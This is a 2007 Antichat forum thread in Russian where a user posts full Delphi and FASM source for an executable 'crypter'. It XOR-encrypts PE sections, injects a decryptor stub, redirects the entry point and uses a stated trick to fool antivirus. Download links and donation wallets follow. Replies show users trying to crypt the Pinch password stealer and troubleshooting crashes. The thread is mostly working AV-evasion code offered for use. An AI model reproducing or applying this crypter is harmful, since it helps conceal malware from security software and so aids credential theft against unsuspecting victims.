ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Исходник Криптора на Delphi комунить нужен?
  #1  
Старый 21.05.2007, 00:15
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Исходник Криптора на Delphi комунить нужен?

Надоело мне уже всё. Вот начну опен соурс будь он не ладен, блин. Просто тем было уже много. Типа многие спрашивают как и что писать. Вот к примеру мне с нуля пришлось разбираться как писать крипторы и как многие знают в инете по этой теме мало инфы. Поэтому если сам пару деньков лбом не побиьешься, хрен догадаешься как писать эти крипторы.

Кодеры и обычный хакеры и юзвери, можете меня пинять ногами за это, можите ставить минусы, а можите и плюсы. Но ВОт исходник простейшего криптора. Сделано всё кривовато, но всёже пашет. Просто смысла от простеньких крипторов мало. Поэтому пусть народ учится писать крипторы
А хорошие крипторы - мы и сами для себя напишим.

Вот исходник самого криптора:
Код:
// Шифровщик исполняемых файлов
// Crypter v3.1 (C) SLESH 2007
// E-MAIL: SLESH-2000@mail.ru
// ICQ: 266-334-734
// WMZ: Z671833489051
// WMR: R156568501269

program Crypt;

{$APPTYPE CONSOLE}

uses
 windows,sysutils;
type
pe_head=record // структура PE заголовка без первого элемента
//Signature:dword;
CPU_Type:word;
Num_of_Objects:word;
Time_Date_Stamp:dword;
Pointer_to_COFF_table:dword;
COFF_table_size:dword;
NT_Header_Size:word;
Flags:word;
Magic:word;
Link_Major:byte;
Link_Minor:byte;
Size_of_Code:dword;
Size_of_Init_Data:dword;
Size_of_UnInit_Data:dword;
Entry_point_RVA:dword;
Base_of_Code:dword;
Base_of_Data:dword;
Image_Base:dword;
Object_Align:dword;
File_Align:dword;
OS_Major:word;
OS_Minor:word;
USER_Major:word;
USER_Minor:word;
SubSys_Major:word;
SubSys_Minor:word;
Reserved:dword;
Image_Size:dword;
Header_Size:dword;
File_CheckSum:dword;
SubSytem:word;
DLL_Flags:word;
Stack_Reserve_Size:dword;
Stack_Commit_Size:dword;
Heap_Reserve_Size:dword;
Heap_Comit_Size:dword;
Loader_Flags:dword;
Num_of_RVA_and_Sizes:dword;
Export_Table_RVA:dword;
Export_Data_Size:dword;
Import_Table_RVA:dword;
Import_Data_Size:dword;
Resource_Table_RVA:dword;
Resource_Data_Size:dword;
Exception_Table_RVA:dword;
Exception_Data_Size:dword;
Security_Table_RVA:dword;
Security_Data_Size:dword;
Fix_Ups_Table_RVA:dword;
Fix_Ups_Data_Size:dword;
Debug_Table_RVA:dword;
Debug_Data_Size:dword;
Image_Description_RVA:dword;
Description_Data_Size:dword;
Machine_Specific_RVA:dword;
Machnine_Data_Size:dword;
TLS_RVA:dword;
TLS_Data_Size:dword;
Load_Config_RVA:dword;
Load_Config_Data_Size:dword;
Reserved1:array[1..8] of byte;
IAT_RVA:dword;
IAT_Data_Size:dword;
Reserved2:array[1..24] of byte;
end;

Section_table=record // структура таблица секции
Object_Name:array[1..8] of char;
Virtual_Size:dword;
Section_RVA:dword;
Physical_Size:dword;
Physical_Offset:dword;
Reserved:array[1..12] of byte;
Object_Flags:dword;
end;

var
CryptCode_start:packed record // Начало расшифровщика
c0:byte; // случайное число
c1:array[1..28] of char; // массив для ASM инструкций
ret_adr:dword; // адресс старой точки входа
end;

CryptCode_decoder:packed record // расшифровщик секции
c1:byte; // ASM инструкция
start_adr:dword; // адрес начала расшировки
c2:byte; // ASM инструкция
decrypt_size:dword; // Адресс конца расшифровки
c3:array[1..8] of byte; // Массив ASM иструкций
end;

CryptCode_end:packed record // Конец расшифровщика
c1:array[1..6] of char; // массив ASM инструкций
end;

f:thandle;// дискриптор файла
c:byte; // временная переменная
he:pe_head; // заголовок PE
st:array[1..20] of Section_table; // массив стаблиц секций
MPO:dword; // номер физически последней секции
PE_ofs:dword; // смещение PE заголовка относительно начала файла
newstart:dword; // новый адрес точки входа
maxz:dword; // максимальное смещение для вставляемой секции
file_in,file_out:string; // имя сходного и выходного файла
crypt_byte:byte; // байт для шифрования
x,y:dword; // для организации цикла
number_of_crypt_section:byte=0; // кол-вл закриптованных секций
name:string; // имя секции
no_crypt:array[1..10] of boolean;  // массим запретов на криптование секции
fils:dword;
label m1,m2;  // метки :) 
begin
file_in:=paramstr(1);  // получить имя входного файла
file_out:=paramstr(2);  // получить имя выходного файла

for x:=1 to 10 do no_crypt[x]:=false;  // первоначально можно криптовать все секции
x:=3;  // начальный параметр
while paramstr(x)<>'' do  // перебирать параметры пока они есть
 begin
  no_crypt[strtoint(paramstr(x))]:=true;  // запись запрешения криптования
  inc(x);  // следующий параметр
 end;

if (file_in='') or (file_out='') then  // если входной или выходной файл не указан
 begin  // вывести справку
  writeln('Crypter v3.1 (C) SLESH 2007');
  writeln('E-MAIL: SLESH-2000@mail.ru');
  writeln('ICQ: 266-334-734');
  writeln('WMZ: Z671833489051');
  writeln('WMR: R156568501269');
  writeln;
  writeln('Usage: Crypter.exe file_in file_out [non_crypt] [non_crypt] ...');
  writeln('file_in - program for crypting');
  writeln('file_out - output file');
  writeln('non_crypt - section no will be crypted');
  exit;
 end;
 
if not fileexists(file_in) then  // если входной файл не найден
 begin
  write('[-] Input file not found');
  exit;
 end;
deletefile(file_out);  // удалить выходной файл. На всякий случай :)

if fileexists(file_out) then  // Если выходной файл не удалился
 begin
  writeln('[-] Can not create output file');
  exit;
 end;

copyfile(Pansichar(file_in),Pansichar(file_out),true);  // копирование программы

if not fileexists(file_out) then  // если ну удалось скопировать
 begin
  writeln('[-] Can not create output file');
  exit;
 end;

writeln('[+] Output file is created');

f:=fileopen(file_out,fmOpenReadWrite);  // открытие скопированного файла на чтение\запись
if f=INVALID_HANDLE_VALUE then  // если не удалось открыть
 begin
   writeln('[-] Can not open output file for crypting');
   exit;
 end;
fils:=Windows.GetFileSize(f,nil);
writeln('[+] Output file open for crypting');

pe_ofs:=0;  // счеткик смещения

// проверка программы на MZ сигнатуру 
fileread(f,c,1);  // считать один байт
if c<>ord('M') then  // если это не M
 begin
  writeln('[-] Input file is not correct');
  exit;
 end;
fileread(f,c,1);  // считать один байт
if c<>ord('Z') then  // если это не Z
 begin
  writeln('[-] Input file is not correct');
  exit;
 end;

 // поиск PE заголовка
m1:
repeat
fileread(f,c,1);
inc(pe_ofs);
until c=ord('P');
fileread(f,c,1);
inc(pe_ofs);
if c<>ord('E') then goto m1;
writeln('[+] PE head is found');
writeln('    PE head offset = ',pe_ofs);

fileread(f,c,1);  // считать оставшиеся 2 байт асигнатуры PE заголовка
fileread(f,c,1);

fileread(f,he,sizeof(he));  // считать PE заголовок

writeln('[+] PE head read OK');
writeln('    Section count = ',he.Num_of_Objects);

for x:=1 to he.Num_of_Objects do fileread(f,st[x],sizeof(st[x]));  // считать все таблицы секций
writeln('[+] Read sections OK');

 // поиск физически последней секции
MPO:=1;
for x:=1 to he.Num_of_Objects do  // перебрать все секции
if st[x].Physical_Offset>st[MPO].Physical_Offset then MPO:=x;  // если физической смещение больше

writeln('    Old Entry_point_RVA = '+inttohex(he.Entry_point_RVA+he.Image_Base,8));

randomize;
 // формирование начального кода расшифровщика
CryptCode_start.c0:=random(256);
CryptCode_start.c1:=#$68#$FF#$64#$24#$F0#$68#$58#$58#$58#$58#$FF#$D4#$50#$8B#$40#$F2#$05#$B0#$95#$F6#$95#$0F#$85#$01#$81#$BB#$FF#$68;
CryptCode_start.ret_adr:=he.Entry_point_RVA+he.Image_Base;
CryptCode_decoder.c1:=$BF; // mov edi,
CryptCode_decoder.c2:=$B9; // mov ecx,
CryptCode_decoder.c3[1]:=$80; //--
CryptCode_decoder.c3[2]:=$37; //m1: xor [edi],byte 99h
CryptCode_decoder.c3[3]:=255;
CryptCode_decoder.c3[4]:=$47; // inc edi
CryptCode_decoder.c3[5]:=$39; // --
CryptCode_decoder.c3[6]:=$CF; // cmp edi,ecx
CryptCode_decoder.c3[7]:=$75; // --
CryptCode_decoder.c3[8]:=$F8; // jne m1
CryptCode_end.c1:=#$E8#$00#$00#$00#$00#$C3;

fileseek(f,0,2);  // переместиться в конец файла
filewrite(f,CryptCode_start,sizeof(CryptCode_start));  //записать начальный код расшифровщика
writeln('[+] Decrypt code write OK');
writeln('    Crypting...');

for y:=1 to he.Num_of_Objects do  // перебрать все секции
 begin
  name:=st[y].Object_Name;  // получить имя секции
  repeat
  delete(name,pos(#0,name),1);  // удаление символа #0 из имени
  until (pos(#0,name)=0) or (length(name)=0);  // удалить все символы #0
  write('    Found section: '+name+'.......');
  if no_crypt[y]=true then  // если указано в параметрах запрещение шифрование это секции
    begin
    writeln('skipped: no crypt');
    goto m2; // переход на следующую секцию
   end;
  if st[y].Physical_Size=0 then  // если физический размер секции = 0 
   begin
    writeln('skipped: zero size');
    goto m2;
   end;
    // проверка на секции которые нельзя шифровать
  if (name='.idata') then
   begin
    writeln('skipped: import data');
    goto m2;
   end;
  if (name='.rsrc') then
   begin
    writeln('skipped: resource data');
    goto m2;
   end;
  if (name='.edata') then
   begin
    writeln('skipped: export data');
    goto m2;
   end;
  if (name='.reloc') then
   begin
    writeln('skipped: config table');
    goto m2;
   end;
  if (name='.rdata') then
   begin
    writeln('skipped: debug information');
    goto m2;
   end;
  if (pos('UPX',name)<>0) then
   begin
    writeln('skipped: UPX packet');
    goto m2;
   end;
 // если программа дошла до этой точки, то значит секцию можно шифровать
  inc(number_of_crypt_section);  // увеличить счетчик зашифрованных секций
  randomize;
  crypt_byte:=random(255)+1;  // генерация байта для шифрования
  CryptCode_decoder.c3[3]:=crypt_byte;  // запись в расшифровщик байта шифрования
   for x:=0 to st[y].Physical_Size-1 do  // перебрать все символы шифрумой секции
    begin
     fileseek(f,st[y].Physical_Offset+x,0);  // переход на символ
     fileread(f,c,1);  // чтение символа
     c:=c xor crypt_byte;  // шифрование
     fileseek(f,st[y].Physical_Offset+x,0);  // переход обратно
     filewrite(f,c,1);  // записаь символа
   end;
  st[y].Object_Flags:=st[y].Object_Flags or $80000000;  // Установка флага разрешения записисекцию
  fileseek(f,pe_ofs+sizeof(he)+sizeof(st[1])*(y-1)+$28,0);  // переход на смещение флагов секции
  filewrite(f,st[y].Object_Flags,4);  // запись флага
  fileseek(f,0,2);  // переход к конец файла
  CryptCode_decoder.start_adr:=he.Image_Base+st[y].Section_RVA;  // запись начального адреса расшифровки
  CryptCode_decoder.decrypt_size:=he.Image_Base+st[y].Section_RVA+st[y].Physical_Size;  // записаь конечного адреса расшифровки
  CryptCode_decoder.c3[3]:=crypt_byte;  // запись байта шифрования
  filewrite(f,cryptcode_decoder,sizeof(cryptcode_decoder));  // запись расшифровщика в файл
  writeln('crypted');
m2:
end;

filewrite(f,cryptcode_end,sizeof(cryptcode_end));  // запись конца расшифровщика

writeln('[+] Crypting OK');
writeln('    ',number_of_crypt_section,' sections is crypted');

maxz:=st[MPO].Physical_Size;  // поиск максимального смещения
if st[MPO].Virtual_Size>maxz then maxz:=st[MPO].Virtual_Size;

newstart:=st[MPO].Section_RVA+maxz;  // вычисление адреса новой точки входа
if newstart mod he.Object_Align <>0 then newstart:=newstart - (newstart mod he.Object_Align)+he.Object_Align;  // выравнение

 // создание новой секции
st[20].Object_Name:='SCRYPT'+#0#0;  // имя
st[20].Virtual_Size:=he.Object_Align;  // виртуальный размер
st[20].Section_RVA:=newstart;  // виртуально смещение
st[20].Physical_Size:=sizeof(CryptCode_start)+sizeof(cryptcode_decoder)*number_of_crypt_section+sizeof(cryptcode_end);  //физический размер
//st[20].Physical_Offset:=st[MPO].Physical_Size+st[MPO].Physical_Offset;  // физической смещение
st[20].Physical_Offset:=fils;  // физической смещение
st[20].Object_Flags:=$60000020;  // флаг разрешения исполнения кода

inc(newstart);  // т.к. код расшифровщика находится по смещение 1 

fileseek(f,pe_ofs+$28,0);  //
filewrite(f,newstart,4);  // запись новой точки входа
writeln('    New Entry_point_RVA = '+inttohex(newstart+he.Image_Base,8));

he.Image_Size:=he.Image_Size+he.Object_Align;  // выравнений виртуального размера
fileseek(f,pe_ofs+$50,0);      //
filewrite(f,he.Image_Size,4); // запись ногово виртуального размера

fileseek(f,pe_ofs+sizeof(he)+4+sizeof(st[1])*he.Num_of_Objects,0);  //
filewrite(f,st[20],sizeof(st[20]));                                // запись новой секции 

inc(he.Num_of_Objects);  // увеличение числа объектов
fileseek(f,pe_ofs+6,0);             //
filewrite(f,he.Num_of_Objects,2);  // запись нового числа объектов
fileclose(f);  // закрытие файла
writeln('[+] Done');
end.
Вот исходник кода расшифровщика - написан на FASM. Кстати маленькое отступлене - часть этого кода, а именно принцип обмана антивирей был заимствован из криптора vasky. Я перед ним за это извеняюсь, но надеюсь он поймет и не будет пинать ногами. Он очень поход на его код, но мой весит меньше на пару байт :P Вот исходник расшифровщика:
Код:
use32
push 0f02464ffh
push 58585858h
call esp
push eax
mov eax,[eax-$0e]
add eax,$95f695b0
jnz $-00447ef9h
push 11111111h
mov edi,22222222h
mov ecx,33333333h
m1:
xor [edi],byte 99h
inc edi
cmp edi,ecx
jne m1
call +$00000000
ret
Если комуто пригодилось то киньте скока не жалко на кошель:
WMZ: Z671833489051
WMR: R156568501269
А то за мобилу платить уже нечем

Последний раз редактировалось slesh; 21.05.2007 в 00:39.. Причина: Захотелось переписать :p
 

  #2  
Старый 21.05.2007, 11:20
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

(* Чещу свою репу *)
С виду криптор получился прикольненький, но всёже херня.
Буду писать крипт где можно шифровать таблицу импорта. Вот тогад будет нормальная вешь, а такое какое оно шас есть - эт не жалко людям отдать!
 

  #3  
Старый 21.05.2007, 11:54
mari00
Участник форума
Регистрация: 27.10.2006
Сообщений: 115
Провел на форуме:
820289

Репутация: 119
Отправить сообщение для mari00 с помощью ICQ
По умолчанию

В ообщем ты молодлец, но если не сложно можешь выложить исходники(не текстом, а файлами.)Заранее спс.
 

  #4  
Старый 21.05.2007, 15:30
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Если нужны исходники и откомнилиный криптор то вот: http://slil.ru/24398263
 

  #5  
Старый 21.05.2007, 15:48
helat
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162

Репутация: 156
По умолчанию

перезалей.не качаеться
 

  #6  
Старый 21.05.2007, 15:54
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Вот от сюда точно будет кочаться(покрайней мере надеюсь на это):
http://www.slesh.xost.ru/cryptor.rar
 

  #7  
Старый 21.05.2007, 23:09
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию

Макс, я рад, что ты выложил свой труд, но все же, поверь, ты мог бы дописать его и заработать на мобилу. Ну а так, конечно же респект тебе за подробные комменты. Трудно недооценить этот код для новичка! А то что из васкиного криптора дергал, так то ничо. Колесо тож не он изобрел=)
__________________
...
 

  #8  
Старый 26.05.2007, 21:58
mr1
Новичок
Регистрация: 17.05.2007
Сообщений: 3
Провел на форуме:
20880

Репутация: 1
Отправить сообщение для mr1 с помощью ICQ
По умолчанию

C:\>cryptor\Crypt.exe pinch3.exe pinch.exe
вотя прописал в командной строке и он мне написал
[-] Input file not found
и пинч не закриптовался ... и файл новый не появился ...
помогите
 

  #9  
Старый 16.12.2007, 20:42
Luks
Новичок
Регистрация: 14.09.2007
Сообщений: 21
Провел на форуме:
40850

Репутация: 1
По умолчанию

Другая трабла. Криптую, а при попытке запустить криптованный файл (результат) ошибка:

Инструкция по адресу "0х0040с003" обратилась к памяти по адресу "0х7с90еb94". Память не может быть "written".
 

  #10  
Старый 16.12.2007, 21:21
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

Luks Криптанулся с ошибкой. Файл пытается записать данные по адресу, где запись запрешена! Попробуй свой файл перед криптовкой упаковать UPX, FSG, MEW - это стандартные пакеры, поверх которых уж думаю должно криптоваться.
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Small Delphi begin_end С/С++, C#, Delphi, .NET, Asm 10 11.11.2008 10:40
Borland выпускает Delphi для PHP. fYt Мировые новости 19 17.06.2008 21:17
Delphi 2007 for Win32 + Delphi 2007 for PHP Isis С/С++, C#, Delphi, .NET, Asm 10 26.03.2008 17:00
Book Delphi Rayne С/С++, C#, Delphi, .NET, Asm 5 08.04.2007 22:06
Простейший IRC-клиент на Delphi, средствами INDY. begin_end Авторские статьи 0 07.03.2007 14:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ